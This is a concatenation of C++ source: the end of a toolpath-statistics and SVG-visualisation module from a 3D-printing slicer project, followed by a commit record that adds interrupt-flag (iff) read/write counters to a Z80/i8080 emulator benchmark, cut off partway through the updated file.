segment.s.to.w << \",\"\n                << test_type << \",\" << output_prefix << '\\n';\n        csv.close();\n    }\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_results.csv\";\n        std::ofstream csv(ss.str(), std::ofstream::out | std::ofstream::trunc);\n        csv << \"processing_time,overfill_area,double_overfill_area,total_underfill_area,total_target_area,total_target_area_length,test_type,output_prefix\\n\";\n        csv << processing_time << \",\" << overfill_area << \",\" << double_overfill_area << \",\" << total_underfill_area << \",\"\n            << total_target_area << \",\" << total_target_area_length << \",\"\n            << test_type << \",\" << output_prefix << '\\n';\n        csv.close();\n    }\n}\n\nvoid Statistics::generateAllSegments(std::vector<std::vector<std::vector<ExtrusionJunction>>>& polygons_per_index, std::vector<std::vector<std::vector<ExtrusionJunction>>>& polylines_per_index)\n{\n    for (std::vector<std::vector<ExtrusionJunction>>& polygons : polygons_per_index)\n    {\n        for (std::vector<ExtrusionJunction>& polygon : polygons)\n        {\n            ExtrusionJunction last = polygon.back();\n            for (coord_t junction_idx = 0; junction_idx < polygon.size(); junction_idx++)\n            {\n                ExtrusionJunction& junction = polygon[junction_idx];\n                ExtrusionSegment segment(last, junction, false);\n                all_segments.emplace_back(segment, false);\n                last = junction;\n            }\n        }\n    }\n    for (std::vector<std::vector<ExtrusionJunction>>& polylines : polylines_per_index)\n    {\n        for (std::vector<ExtrusionJunction>& polyline : polylines)\n        {\n            ExtrusionJunction last = polyline.front();\n            for (coord_t junction_idx = 0; junction_idx < polyline.size(); junction_idx++)\n            {\n                ExtrusionJunction& junction = polyline[junction_idx];\n                ExtrusionSegment segment(last, junction, false);\n                all_segments.emplace_back(segment, junction_idx == polyline.size() - 1);\n                last = junction;\n            }\n        }\n    }\n}\n\nvoid Statistics::visualize()\n{\n    AABB aabb(*input);\n\n    if (vq)\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_after.svg\";\n        SVG svg(ss.str(), aabb);\n        vq->debugOutput(svg, false, false, true);\n        svg.writePolygons(paths, SVG::Color::BLACK, 2);\n        \n        if (false)\n        for (auto polys : *polylines_per_index)\n        {\n            for (auto poly : polys)\n            {\n                Point prev = poly.front().p;\n                for (ExtrusionJunction& j : poly)\n                {\n                    svg.writeLine(prev, j.p, SVG::Color::RED, 2);\n                    prev = j.p;\n                }\n            }\n        }\n        for (auto polylines : *polylines_per_index)\n        {\n            for (std::vector<ExtrusionJunction>& polyline : polylines)\n            {\n                svg.writePoint(polyline.front().p, false, 2, SVG::Color::GREEN);\n                svg.writePoint(polyline.back().p, false, 2, SVG::Color::BLUE);\n            }\n        }\n    }\n\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_toolpaths.svg\";\n        SVG svg(ss.str(), aabb);\n        svg.writeAreas(*input, SVG::Color::GRAY, SVG::Color::NONE, 2);\n        bool alternate = true;\n        for (PolygonRef poly : overlaps)\n        {\n            svg.writeAreas(poly, alternate? SVG::Color::BLUE : SVG::Color::MAGENTA, SVG::Color::NONE);\n            alternate = !alternate;\n        }\n        svg.writePolygons(paths, SVG::Color::BLACK, 2);\n    }\n\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_widths.svg\";\n        SVG svg(ss.str(), aabb);\n\/\/         svg.writeAreas(*input, SVG::Color::GRAY, SVG::Color::NONE, 2);\n\n        coord_t max_dev = 200;\n        coord_t min_w = 30;\n\n        \/\/ add legend\n        auto to_string = [](float v)\n        {\n            std::ostringstream ss;\n            ss << v;\n            return ss.str();\n        };\n        std::vector<Segment> all_segments_plus = all_segments;\n        AABB aabb(*input);\n        ExtrusionJunction legend_btm(Point(aabb.max.X + 400 + max_dev, aabb.max.Y), 400 - max_dev, 0);\n        ExtrusionJunction legend_top(Point(aabb.max.X + 400 + max_dev, aabb.min.Y), 400 + max_dev, 0);\n        ExtrusionJunction legend_mid((legend_top.p + legend_btm.p) \/ 2, (legend_top.w + legend_btm.w) \/ 2, 0);\n        legend_btm.p += (legend_mid.p - legend_btm.p) \/ 4;\n        legend_top.p += (legend_mid.p - legend_top.p) \/ 4;\n        ExtrusionSegment legend_segment(legend_btm, legend_top, true);\n        svg.writeAreas(legend_segment.toPolygons(false), SVG::ColorObject(200,200,200), SVG::Color::NONE); \/\/ real outline\n        all_segments_plus.emplace_back(legend_segment, true); \/\/ colored\n        Point legend_text_offset(400, 0);\n        svg.writeText(legend_top.p + legend_text_offset, to_string(INT2MM(legend_top.w)));\n        svg.writeText(legend_btm.p + legend_text_offset, to_string(INT2MM(legend_btm.w)));\n        svg.writeText(legend_mid.p + legend_text_offset, to_string(INT2MM(legend_mid.w)));\n        svg.writeLine(legend_top.p, legend_top.p + legend_text_offset);\n        svg.writeLine(legend_btm.p, legend_btm.p + legend_text_offset);\n        svg.writeLine(legend_mid.p, legend_mid.p + legend_text_offset);\n\n\n        Point3 green(0,255,0);\n        Point3 red(255,0,0);\n        Point3 blue(0,0,255);\n        for (const Segment& ss : all_segments_plus)\n        {\n            for (Segment s : discretize(ss, MM2INT(0.1)))\n            {\n                coord_t avg_w = (s.s.from.w + s.s.to.w) \/ 2;\n                Point3 clr;\n                float color_ratio = std::min(1.0, std::abs(avg_w - 400.0) \/ max_dev);\n                color_ratio = color_ratio * .5 + .5 * sqrt(color_ratio);\n                if (avg_w > 400)\n                {\n                    clr = red * color_ratio + green * (1.0 - color_ratio );\n                }\n                else\n                {\n                    clr = blue * color_ratio + green * (1.0 - color_ratio );\n                }\n                coord_t clr_max = std::max(clr.x, std::max(clr.y, clr.z));\n                clr = clr * 255 \/ clr_max;\n\n                clr.y = clr.y * (255 - 92 * clr.dot(green) \/ green.vSize() \/ 255) \/ 255;\n                s.s.from.w = std::max(min_w, min_w + (s.s.from.w - (400 - max_dev)) * 5 \/ 4);\n                s.s.to.w = std::max(min_w, min_w + (s.s.to.w - (400 - max_dev)) * 5 \/ 4);\n                Polygons covered = s.toPolygons();\n                svg.writeAreas(covered, SVG::ColorObject(clr.x, clr.y, clr.z), SVG::Color::NONE);\n            }\n        }\n\/\/         svg.writePolygons(paths, SVG::Color::BLACK, 1);\n    }\n\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_accuracy.svg\";\n        SVG svg(ss.str(), aabb);\n        svg.writeAreas(*input, SVG::Color::GRAY, SVG::Color::NONE, 3);\n        svg.writeAreas(overfills, SVG::Color::RED, SVG::Color::NONE);\n        svg.writeAreas(double_overfills, SVG::Color::ORANGE, SVG::Color::NONE);\n        svg.writeAreas(underfills, SVG::Color::BLUE, SVG::Color::NONE);\n        svg.writePolygons(paths, SVG::Color::BLACK, 1);\n    }\n}\n\nstd::vector<Statistics::Segment> Statistics::discretize(const Segment& segment, coord_t step_size)\n{\n    ExtrusionSegment extrusion_segment = segment.s;\n    Point a = extrusion_segment.from.p;\n    Point b = extrusion_segment.to.p;\n    Point ab = b - a;\n    coord_t ab_length = vSize(ab);\n    coord_t step_count = std::max(static_cast<coord_t>(1), (ab_length + step_size \/ 2) \/ step_size);\n    std::vector<Segment> discretized;\n    ExtrusionJunction from = extrusion_segment.from;\n    for (coord_t step = 0; step < step_count; step++)\n    {\n        ExtrusionJunction mid(a + ab * (step + 1) \/ step_count, extrusion_segment.from.w + (extrusion_segment.to.w - extrusion_segment.from.w) * (step + 1) \/ step_count, extrusion_segment.from.perimeter_index);\n        discretized.emplace_back(ExtrusionSegment(from, mid, segment.s.is_odd), false);\n        from = mid;\n    }\n    discretized.back().is_full = segment.is_full;\n    return discretized;\n}\n\n} \/\/ namespace arachne\n<|endoftext|>"}
{"text":"<commit_before>\n#include <cstdarg>\n#include <cstdlib>\n#include <cstring>\n#include <cerrno>\n\n#include \"z80.h\"\n\nnamespace {\n\nusing z80::fast_u8;\nusing z80::fast_u16;\nusing z80::least_u8;\nusing z80::unused;\n\n#if defined(__GNUC__) || defined(__clang__)\n# define LIKE_PRINTF(format, args) \\\n      __attribute__((__format__(__printf__, format, args)))\n#else\n# define LIKE_PRINTF(format, args) \/* nothing *\/\n#endif\n\nconst char program_name[] = \"benchmark\";\n\n[[noreturn]] LIKE_PRINTF(1, 0)\nvoid verror(const char *format, va_list args) {\n    std::fprintf(stderr, \"%s: \", program_name);\n    std::vfprintf(stderr, format, args);\n    std::fprintf(stderr, \"\\n\");\n    exit(EXIT_FAILURE);\n}\n\n[[noreturn]] LIKE_PRINTF(1, 2)\nvoid error(const char *format, ...) {\n    va_list args;\n    va_start(args, format);\n    verror(format, args);\n    va_end(args);\n}\n\nstatic constexpr fast_u16 quit_addr = 0x0000;\nstatic constexpr fast_u16 bdos_addr = 0x0005;\nstatic constexpr fast_u16 entry_addr = 0x0100;\n\n\/\/ Handles CP\/M BDOS calls to write text messages.\ntemplate<typename B>\nclass default_watcher : public B {\npublic:\n    typedef B base;\n\n    void write_char(fast_u8 c) {\n        std::putchar(static_cast<char>(c));\n    }\n\n    void handle_c_write() {\n        write_char(base::get_e());\n    }\n\n    void handle_c_writestr() {\n        fast_u16 addr = base::get_de();\n        for(;;) {\n            fast_u8 c = self().on_read(addr);\n            if(c == '$')\n                break;\n\n            write_char(c);\n            addr = (addr + 1) % z80::address_space_size;\n        }\n    }\n\n    void handle_bdos_call() {\n        switch(base::get_c()) {\n        case c_write:\n            handle_c_write();\n            break;\n        case c_writestr:\n            handle_c_writestr();\n            break;\n        }\n    }\n\n    void on_step() {\n        if(base::get_pc() == bdos_addr)\n            handle_bdos_call();\n\n        base::on_step();\n    }\n\n    void on_report() {}\n\nprotected:\n    using base::self;\n\nprivate:\n    static constexpr fast_u8 c_write = 0x02;\n    static constexpr fast_u8 c_writestr = 0x09;\n};\n\n\/\/ Lets the emulator to perform at full speed.\ntemplate<typename B>\nclass empty_watcher : public B {\npublic:\n    typedef B base;\n\n    \/\/ The benchmark emulator provides no support for interrupts,\n    \/\/ so no need to track the flag.\n    \/\/ TODO: Remove that flag from the emulator's state at all.\n    void on_set_is_int_disabled(bool f) { unused(f); }\n\n    void on_report() {}\n\nprotected:\n    using base::self;\n};\n\n\/\/ Tracks use of CPU state.\ntemplate<typename B>\nclass state_watcher : public B {\npublic:\n    typedef B base;\n\n    fast_u16 on_get_pc() { ++pc_reads; return base::on_get_pc(); }\n    void on_set_pc(fast_u16 nn) { ++pc_writes; base::on_set_pc(nn); }\n\n    fast_u16 on_get_sp() { ++sp_reads; return base::on_get_sp(); }\n    void on_set_sp(fast_u16 nn) { ++sp_writes; base::on_set_sp(nn); }\n\n    fast_u16 on_get_wz() { ++wz_reads; return base::on_get_wz(); }\n    void on_set_wz(fast_u16 nn) { ++wz_writes; base::on_set_wz(nn); }\n\n    fast_u16 on_get_bc() { ++bc_reads; return base::on_get_bc(); }\n    void on_set_bc(fast_u16 nn) { ++bc_writes; base::on_set_bc(nn); }\n    fast_u8 on_get_b() { ++b_reads; return base::on_get_b(); }\n    void on_set_b(fast_u8 n) { ++b_writes; base::on_set_b(n); }\n    fast_u8 on_get_c() { ++c_reads; return base::on_get_c(); }\n    void on_set_c(fast_u8 n) { ++c_writes; base::on_set_c(n); }\n\n    fast_u16 on_get_de() { ++de_reads; return base::on_get_de(); }\n    void on_set_de(fast_u16 nn) { ++de_writes; base::on_set_de(nn); }\n    fast_u8 on_get_d() { ++d_reads; return base::on_get_d(); }\n    void on_set_d(fast_u8 n) { ++d_writes; base::on_set_d(n); }\n    fast_u8 on_get_e() { ++e_reads; return base::on_get_e(); }\n    void on_set_e(fast_u8 n) { ++e_writes; base::on_set_e(n); }\n\n    fast_u16 on_get_hl() { ++hl_reads; return base::on_get_hl(); }\n    void on_set_hl(fast_u16 nn) { ++hl_writes; base::on_set_hl(nn); }\n    fast_u8 on_get_h() { ++h_reads; return base::on_get_h(); }\n    void on_set_h(fast_u8 n) { ++h_writes; base::on_set_h(n); }\n    fast_u8 on_get_l() { ++l_reads; return base::on_get_l(); }\n    void on_set_l(fast_u8 n) { ++l_writes; base::on_set_l(n); }\n\n    fast_u16 on_get_af() { ++af_reads; return base::on_get_af(); }\n    void on_set_af(fast_u16 nn) { ++af_writes; base::on_set_af(nn); }\n    fast_u8 on_get_a() { ++a_reads; return base::on_get_a(); }\n    void on_set_a(fast_u8 n) { ++a_writes; base::on_set_a(n); }\n    fast_u8 on_get_f() { ++f_reads; return base::on_get_f(); }\n    void on_set_f(fast_u8 n) { ++f_writes; base::on_set_f(n); }\n\n    bool on_is_int_disabled() {\n        ++is_int_disabled_reads;\n        return base::on_is_int_disabled(); }\n    void on_set_is_int_disabled(bool f) {\n        ++is_int_disabled_writes;\n        base::on_set_is_int_disabled(f); }\n\n    bool on_is_halted() {\n        ++is_halted_reads;\n        return base::on_is_halted(); }\n    void on_set_is_halted(bool f) {\n        ++is_halted_writes;\n        base::on_set_is_halted(f); }\n\n    void on_report() {\n        std::printf(\"pc reads:  %10.0f\\n\"\n                    \"pc writes: %10.0f\\n\"\n                    \"sp reads:  %10.0f\\n\"\n                    \"sp writes: %10.0f\\n\"\n                    \"wz reads:  %10.0f\\n\"\n                    \"wz writes: %10.0f\\n\"\n                    \"bc reads:  %10.0f\\n\"\n                    \"bc writes: %10.0f\\n\"\n                    \"b  reads:  %10.0f\\n\"\n                    \"b  writes: %10.0f\\n\"\n                    \"c  reads:  %10.0f\\n\"\n                    \"c  writes: %10.0f\\n\"\n                    \"de reads:  %10.0f\\n\"\n                    \"de writes: %10.0f\\n\"\n                    \"d  reads:  %10.0f\\n\"\n                    \"d  writes: %10.0f\\n\"\n                    \"e  reads:  %10.0f\\n\"\n                    \"e  writes: %10.0f\\n\"\n                    \"hl reads:  %10.0f\\n\"\n                    \"hl writes: %10.0f\\n\"\n                    \"h  reads:  %10.0f\\n\"\n                    \"h  writes: %10.0f\\n\"\n                    \"l  reads:  %10.0f\\n\"\n                    \"l  writes: %10.0f\\n\"\n                    \"af reads:  %10.0f\\n\"\n                    \"af writes: %10.0f\\n\"\n                    \"a  reads:  %10.0f\\n\"\n                    \"a  writes: %10.0f\\n\"\n                    \"f  reads:  %10.0f\\n\"\n                    \"f  writes: %10.0f\\n\"\n                    \"is_int_disabled reads:  %10.0f\\n\"\n                    \"is_int_disabled writes: %10.0f\\n\"\n                    \"is_halted reads:        %10.0f\\n\"\n                    \"is_halted writes:       %10.0f\\n\",\n                    static_cast<double>(pc_reads),\n                    static_cast<double>(pc_writes),\n                    static_cast<double>(sp_reads),\n                    static_cast<double>(sp_writes),\n                    static_cast<double>(wz_reads),\n                    static_cast<double>(wz_writes),\n                    static_cast<double>(bc_reads),\n                    static_cast<double>(bc_writes),\n                    static_cast<double>(b_reads),\n                    static_cast<double>(b_writes),\n                    static_cast<double>(c_reads),\n                    static_cast<double>(c_writes),\n                    static_cast<double>(de_reads),\n                    static_cast<double>(de_writes),\n                    static_cast<double>(d_reads),\n                    static_cast<double>(d_writes),\n                    static_cast<double>(e_reads),\n                    static_cast<double>(e_writes),\n                    static_cast<double>(hl_reads),\n                    static_cast<double>(hl_writes),\n                    static_cast<double>(h_reads),\n                    static_cast<double>(h_writes),\n                    static_cast<double>(l_reads),\n                    static_cast<double>(l_writes),\n                    static_cast<double>(af_reads),\n                    static_cast<double>(af_writes),\n                    static_cast<double>(a_reads),\n                    static_cast<double>(a_writes),\n                    static_cast<double>(f_reads),\n                    static_cast<double>(f_writes),\n                    static_cast<double>(is_int_disabled_reads),\n                    static_cast<double>(is_int_disabled_writes),\n                    static_cast<double>(is_halted_reads),\n                    static_cast<double>(is_halted_writes));\n    }\n\nprotected:\n    using base::self;\n\n    double pc_reads = 0;\n    double pc_writes = 0;\n    double sp_reads = 0;\n    double sp_writes = 0;\n    double wz_reads = 0;\n    double wz_writes = 0;\n    double bc_reads = 0;\n    double bc_writes = 0;\n    double b_reads = 0;\n    double b_writes = 0;\n    double c_reads = 0;\n    double c_writes = 0;\n    double de_reads = 0;\n    double de_writes = 0;\n    double d_reads = 0;\n    double d_writes = 0;\n    double e_reads = 0;\n    double e_writes = 0;\n    double hl_reads = 0;\n    double hl_writes = 0;\n    double h_reads = 0;\n    double h_writes = 0;\n    double l_reads = 0;\n    double l_writes = 0;\n    double af_reads = 0;\n    double af_writes = 0;\n    double a_reads = 0;\n    double a_writes = 0;\n    double f_reads = 0;\n    double f_writes = 0;\n    double is_int_disabled_reads = 0;\n    double is_int_disabled_writes = 0;\n    double is_halted_reads = 0;\n    double is_halted_writes = 0;\n};\n\n#define WATCHER default_watcher\n\ntemplate<typename B>\nclass emulator : public WATCHER<B> {\npublic:\n    typedef WATCHER<B> base;\n\n    emulator() {}\n\n    fast_u8 on_read(fast_u16 addr) {\n        assert(addr < z80::address_space_size);\n        return memory[addr];\n    }\n\n    void on_write(fast_u16 addr, fast_u8 n) {\n        assert(addr < z80::address_space_size);\n        memory[addr] = static_cast<least_u8>(n);\n    }\n\n    void run(const char *program) {\n        FILE *f = std::fopen(program, \"rb\");\n        if(!f) {\n            error(\"Cannot open file '%s': %s\", program,\n                  std::strerror(errno));\n        }\n\n        std::size_t count = std::fread(\n            memory + entry_addr, \/* size= *\/ 1,\n            z80::address_space_size - entry_addr, f);\n        if(ferror(f)) {\n            error(\"Cannot read file '%s': %s\", program,\n                  std::strerror(errno));\n        }\n        if(count == 0)\n            error(\"Program file '%s' is empty\", program);\n        if(!feof(f))\n            error(\"Program file '%s' is too large\", program);\n\n        if(std::fclose(f) != 0) {\n            error(\"Cannot close file '%s': %s\", program,\n                  std::strerror(errno));\n        }\n\n        base::set_pc(entry_addr);\n        memory[bdos_addr] = 0xc9;  \/\/ ret\n\n        for(;;) {\n            fast_u16 pc = base::get_pc();\n            if(pc == quit_addr)\n                break;\n\n            self().on_step();\n        }\n\n        self().on_report();\n    }\n\nprotected:\n    using base::self;\n\nprivate:\n    least_u8 memory[z80::address_space_size] = {};\n};\n\nclass i8080_emulator : public emulator<z80::i8080_cpu<i8080_emulator>>\n{};\n\nclass z80_emulator : public emulator<z80::z80_cpu<z80_emulator>>\n{};\n\n[[noreturn]] static void usage() {\n    error(\"benchmark {i8080|z80} <program.com>\");\n}\n\n}  \/\/ anonymous namespace\n\nint main(int argc, char *argv[]) {\n    if(argc != 3)\n        usage();\n\n    const char *program = argv[2];\n\n    const char *cpu = argv[1];\n    if(std::strcmp(cpu, \"i8080\") == 0) {\n        i8080_emulator e;\n        e.run(program);\n    } else if(std::strcmp(cpu, \"z80\") == 0) {\n        z80_emulator e;\n        e.run(program);\n    } else {\n        error(\"Unknown CPU '%s'\", cpu);\n    }\n}\n<commit_msg>Benchmark the i8080's iff.<commit_after>\n#include <cstdarg>\n#include <cstdlib>\n#include <cstring>\n#include <cerrno>\n\n#include \"z80.h\"\n\nnamespace {\n\nusing z80::fast_u8;\nusing z80::fast_u16;\nusing z80::least_u8;\nusing z80::unused;\n\n#if defined(__GNUC__) || defined(__clang__)\n# define LIKE_PRINTF(format, args) \\\n      __attribute__((__format__(__printf__, format, args)))\n#else\n# define LIKE_PRINTF(format, args) \/* nothing *\/\n#endif\n\nconst char program_name[] = \"benchmark\";\n\n[[noreturn]] LIKE_PRINTF(1, 0)\nvoid verror(const char *format, va_list args) {\n    std::fprintf(stderr, \"%s: \", program_name);\n    std::vfprintf(stderr, format, args);\n    std::fprintf(stderr, \"\\n\");\n    exit(EXIT_FAILURE);\n}\n\n[[noreturn]] LIKE_PRINTF(1, 2)\nvoid error(const char *format, ...) {\n    va_list args;\n    va_start(args, format);\n    verror(format, args);\n    va_end(args);\n}\n\nstatic constexpr fast_u16 quit_addr = 0x0000;\nstatic constexpr fast_u16 bdos_addr = 0x0005;\nstatic constexpr fast_u16 entry_addr = 0x0100;\n\n\/\/ Handles CP\/M BDOS calls to write text messages.\ntemplate<typename B>\nclass default_watcher : public B {\npublic:\n    typedef B base;\n\n    void write_char(fast_u8 c) {\n        std::putchar(static_cast<char>(c));\n    }\n\n    void handle_c_write() {\n        write_char(base::get_e());\n    }\n\n    void handle_c_writestr() {\n        fast_u16 addr = base::get_de();\n        for(;;) {\n            fast_u8 c = self().on_read(addr);\n            if(c == '$')\n                break;\n\n            write_char(c);\n            addr = (addr + 1) % z80::address_space_size;\n        }\n    }\n\n    void handle_bdos_call() {\n        switch(base::get_c()) {\n        case c_write:\n            handle_c_write();\n            break;\n        case c_writestr:\n            handle_c_writestr();\n            break;\n        }\n    }\n\n    void on_step() {\n        if(base::get_pc() == bdos_addr)\n            handle_bdos_call();\n\n        base::on_step();\n    }\n\n    void on_report() {}\n\nprotected:\n    using base::self;\n\nprivate:\n    static constexpr fast_u8 c_write = 0x02;\n    static constexpr fast_u8 c_writestr = 0x09;\n};\n\n\/\/ Lets the emulator to perform at full speed.\ntemplate<typename B>\nclass empty_watcher : public B {\npublic:\n    typedef B base;\n\n    \/\/ The benchmark emulator provides no support for interrupts,\n    \/\/ so no need to track the flags.\n    \/\/ TODO: Remove that flag from the emulator's state at all.\n    void on_set_is_int_disabled(bool f) { unused(f); }\n    void on_set_iff(bool f) { unused(f); }\n\n    void on_report() {}\n\nprotected:\n    using base::self;\n};\n\n\/\/ Tracks use of CPU state.\ntemplate<typename B>\nclass state_watcher : public B {\npublic:\n    typedef B base;\n\n    fast_u16 on_get_pc() { ++pc_reads; return base::on_get_pc(); }\n    void on_set_pc(fast_u16 nn) { ++pc_writes; base::on_set_pc(nn); }\n\n    fast_u16 on_get_sp() { ++sp_reads; return base::on_get_sp(); }\n    void on_set_sp(fast_u16 nn) { ++sp_writes; base::on_set_sp(nn); }\n\n    fast_u16 on_get_wz() { ++wz_reads; return base::on_get_wz(); }\n    void on_set_wz(fast_u16 nn) { ++wz_writes; base::on_set_wz(nn); }\n\n    fast_u16 on_get_bc() { ++bc_reads; return base::on_get_bc(); }\n    void on_set_bc(fast_u16 nn) { ++bc_writes; base::on_set_bc(nn); }\n    fast_u8 on_get_b() { ++b_reads; return base::on_get_b(); }\n    void on_set_b(fast_u8 n) { ++b_writes; base::on_set_b(n); }\n    fast_u8 on_get_c() { ++c_reads; return base::on_get_c(); }\n    void on_set_c(fast_u8 n) { ++c_writes; base::on_set_c(n); }\n\n    fast_u16 on_get_de() { ++de_reads; return base::on_get_de(); }\n    void on_set_de(fast_u16 nn) { ++de_writes; base::on_set_de(nn); }\n    fast_u8 on_get_d() { ++d_reads; return base::on_get_d(); }\n    void on_set_d(fast_u8 n) { ++d_writes; base::on_set_d(n); }\n    fast_u8 on_get_e() { ++e_reads; return base::on_get_e(); }\n    void on_set_e(fast_u8 n) { ++e_writes; base::on_set_e(n); }\n\n    fast_u16 on_get_hl() { ++hl_reads; return base::on_get_hl(); }\n    void on_set_hl(fast_u16 nn) { ++hl_writes; base::on_set_hl(nn); }\n    fast_u8 on_get_h() { ++h_reads; return base::on_get_h(); }\n    void on_set_h(fast_u8 n) { ++h_writes; base::on_set_h(n); }\n    fast_u8 on_get_l() { ++l_reads; return base::on_get_l(); }\n    void on_set_l(fast_u8 n) { ++l_writes; base::on_set_l(n); }\n\n    fast_u16 on_get_af() { ++af_reads; return base::on_get_af(); }\n    void on_set_af(fast_u16 nn) { ++af_writes; base::on_set_af(nn); }\n    fast_u8 on_get_a() { ++a_reads; return base::on_get_a(); }\n    void on_set_a(fast_u8 n) { ++a_writes; base::on_set_a(n); }\n    fast_u8 on_get_f() { ++f_reads; return base::on_get_f(); }\n    void on_set_f(fast_u8 n) { ++f_writes; base::on_set_f(n); }\n\n    bool on_is_int_disabled() {\n        ++is_int_disabled_reads;\n        return base::on_is_int_disabled(); }\n    void on_set_is_int_disabled(bool f) {\n        ++is_int_disabled_writes;\n        base::on_set_is_int_disabled(f); }\n\n    bool on_is_halted() {\n        ++is_halted_reads;\n        return base::on_is_halted(); }\n    void on_set_is_halted(bool f) {\n        ++is_halted_writes;\n        base::on_set_is_halted(f); }\n\n    bool on_get_iff() { ++iff_reads; return base::on_get_iff(); }\n    void on_set_iff(bool f) { ++iff_writes; base::on_set_iff(f); }\n\n    void on_report() {\n        std::printf(\"             pc reads:  %10.0f\\n\"\n                    \"             pc writes: %10.0f\\n\"\n                    \"             sp reads:  %10.0f\\n\"\n                    \"             sp writes: %10.0f\\n\"\n                    \"             wz reads:  %10.0f\\n\"\n                    \"             wz writes: %10.0f\\n\"\n                    \"             bc reads:  %10.0f\\n\"\n                    \"             bc writes: %10.0f\\n\"\n                    \"              b reads:  %10.0f\\n\"\n                    \"              b writes: %10.0f\\n\"\n                    \"              c reads:  %10.0f\\n\"\n                    \"              c writes: %10.0f\\n\"\n                    \"             de reads:  %10.0f\\n\"\n                    \"             de writes: %10.0f\\n\"\n                    \"              d reads:  %10.0f\\n\"\n                    \"              d writes: %10.0f\\n\"\n                    \"              e reads:  %10.0f\\n\"\n                    \"              e writes: %10.0f\\n\"\n                    \"             hl reads:  %10.0f\\n\"\n                    \"             hl writes: %10.0f\\n\"\n                    \"              h reads:  %10.0f\\n\"\n                    \"              h writes: %10.0f\\n\"\n                    \"              l reads:  %10.0f\\n\"\n                    \"              l writes: %10.0f\\n\"\n                    \"             af reads:  %10.0f\\n\"\n                    \"             af writes: %10.0f\\n\"\n                    \"              a reads:  %10.0f\\n\"\n                    \"              a writes: %10.0f\\n\"\n                    \"              f reads:  %10.0f\\n\"\n                    \"              f writes: %10.0f\\n\"\n                    \"            iff reads:  %10.0f\\n\"\n                    \"            iff writes: %10.0f\\n\"\n                    \"is_int_disabled reads:  %10.0f\\n\"\n                    \"is_int_disabled writes: %10.0f\\n\"\n                    \"      is_halted reads:  %10.0f\\n\"\n                    \"      is_halted writes: %10.0f\\n\",\n                    static_cast<double>(pc_reads),\n                    static_cast<double>(pc_writes),\n                    static_cast<double>(sp_reads),\n                    static_cast<double>(sp_writes),\n                    static_cast<double>(wz_reads),\n                    static_cast<double>(wz_writes),\n                    static_cast<double>(bc_reads),\n                    static_cast<double>(bc_writes),\n                    static_cast<double>(b_reads),\n                    static_cast<double>(b_writes),\n                    static_cast<double>(c_reads),\n                    static_cast<double>(c_writes),\n                    static_cast<double>(de_reads),\n                    static_cast<double>(de_writes),\n                    static_cast<double>(d_reads),\n                    static_cast<double>(d_writes),\n                    static_cast<double>(e_reads),\n                    static_cast<double>(e_writes),\n                    static_cast<double>(hl_reads),\n                    static_cast<double>(hl_writes),\n                    static_cast<double>(h_reads),\n                    static_cast<double>(h_writes),\n                    static_cast<double>(l_reads),\n                    static_cast<double>(l_writes),\n                    static_cast<double>(af_reads),\n                    static_cast<double>(af_writes),\n                    static_cast<double>(a_reads),\n                    static_cast<double>(a_writes),\n                    static_cast<double>(f_reads),\n                    static_cast<double>(f_writes),\n                    static_cast<double>(iff_reads),\n                    static_cast<double>(iff_writes),\n                    static_cast<double>(is_int_disabled_reads),\n                    static_cast<double>(is_int_disabled_writes),\n                    static_cast<double>(is_halted_reads),\n                    static_cast<double>(is_halted_writes));\n    }\n\nprotected:\n    using base::self;\n\n    double pc_reads = 0;\n    double pc_writes = 0;\n    double sp_reads = 0;\n    double sp_writes = 0;\n    double wz_reads = 0;\n    double wz_writes = 0;\n    double bc_reads = 0;\n    double bc_writes = 0;\n    double b_reads = 0;\n    double b_writes = 0;\n    double c_reads = 0;\n    double c_writes = 0;\n    double de_reads = 0;\n    double de_writes = 0;\n    double d_reads = 0;\n    double d_writes = 0;\n    double e_reads = 0;\n    double e_writes = 0;\n    double hl_reads = 0;\n    double hl_writes = 0;\n    double h_reads = 0;\n    double h_writes = 0;\n    double l_reads = 0;\n    double l_writes = 0;\n    double af_reads = 0;\n    double af_writes = 0;\n    double a_reads = 0;\n    double a_writes = 0;\n    double f_reads = 0;\n    double f_writes = 0;\n    double iff_reads = 0;\n    double iff_writes = 0;\n    double is_int_disabled_reads = 0;\n    double is_int_disabled_writes = 0;\n    double is_halted_reads = 0;\n    double is_halted_writes = 0;\n};\n\n#define WATCHER default_watcher\n\ntemplate<typename B>\nclass emulator : public WATCHER<B> {\npublic:\n    typedef WATCHER<B> base;\n\n    emulator() {}\n\n    fast_u8 on_read(fast_u16 addr) {\n        assert(addr < z80::address_space_size);\n        return memory[addr];\n    }\n\n    void on_write(fast_u16 addr, fast_u8 n) {\n        assert(addr < z80::address_space_size);\n        memory[addr] = static_cast<least_u8>(n);\n    }\n\n    void run(const char *program) {\n        FILE *f = std::fopen(program, \"rb\");\n        if(!f) {\n            error(\"Cannot open file '%s': %s\", program,\n                  std::strerror(errno));\n        }\n\n        std::size_t count = std::fread(\n            memory + entry_addr, \/* size= *\/ 1,\n            z80::address_space_size - entry_addr, f);\n        if(ferror(f)) {\n            error(\"Cannot read file '%s': %s\", program,\n                  std::strerror(errno));\n        }\n        if(count == 0)\n            error(\"Program file '%s' is empty\", program);\n        if(!feof(f))\n            error(\"Program file '%s' is too large\", program);\n\n        if(std::fclose(f) != 0) {\n            error(\"Cannot close file '%s': %s\", program,\n                  std::strerror(errno));\n        }\n\n        base::set_pc(entry_addr);\n        memory[bdos_addr] = 0xc9;  \/\/ ret\n\n        for(;;) {\n            fast_u16 pc = base::get_pc();\n            if(pc == quit_addr)\n                break;\n\n            self().on_step();\n        }\n\n        self().on_report();\n    }\n\nprotected:\n    using base::self;\n\nprivate:\n    least_u8 memory[z80::address_space_size] = {};\n};\n\nclass i8080_emulator : public emulator<z80::i8080_cpu<i8080_emulator>>\n{};\n\nclass z80_emulator : public emulator<z80::z80_cpu<z80_emulator>>\n{};\n\n[[noreturn]] static void usage() {\n    error(\"benchmark {i8080|z80} <program.com>\");\n}\n\n}  \/\/ anonymous namespace\n\nint main(int argc, char *argv[]) {\n    if(argc != 3)\n        usage();\n\n    const char *program = argv[2];\n\n    const char *cpu = argv[1];\n    if(std::strcmp(cpu, 